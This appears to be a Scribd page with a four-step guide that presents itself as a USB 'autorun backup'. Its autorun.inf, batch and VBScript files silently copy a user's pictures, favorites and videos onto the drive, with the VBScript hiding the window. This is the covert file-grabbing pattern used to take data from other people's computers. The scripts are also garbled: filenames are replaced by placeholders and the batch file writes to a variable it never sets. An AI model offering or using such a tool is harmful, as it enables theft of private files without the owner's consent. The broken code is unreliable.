0% found this document useful (0 votes)
17 views1 page

Create an Autorun Backup Script

The document provides a step-by-step guide to create an autorun setup for a USB drive. It includes instructions to create an 'autorun.inf' file, a batch file for backing up user files, a VBScript to run the batch file invisibly, and a launch script to execute the VBScript. Each step involves using Notepad to save specific code snippets as different file types.

Uploaded by

boobnoobie83
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
17 views1 page

Create an Autorun Backup Script

The document provides a step-by-step guide to create an autorun setup for a USB drive. It includes instructions to create an 'autorun.inf' file, a batch file for backing up user files, a VBScript to run the batch file invisibly, and a launch script to execute the VBScript. Each step involves using Notepad to save specific code snippets as different file types.

Uploaded by

boobnoobie83
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

STEP # 1

Open Notepad (I recommend Notepad++) and copy-paste the following lines.

[autorun]
icon=[Link]
open=[Link]
action=Click OK to Run
shell\open\command=[Link]

Save this as [Link]

STEP # 2

Open Notepad again and copy-paste the following lines

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off
cls

Save this as [Link]

STEP # 3

Open Notepad once again and copy-paste the following line.

CreateObject("[Link]").Run """" & [Link](0) & """", 0, False

Save this as [Link]

STEP # 4

Open Notepad one last time and copy-paste the following line.

[Link] \[Link] [Link]

Save this as [Link]

You might also like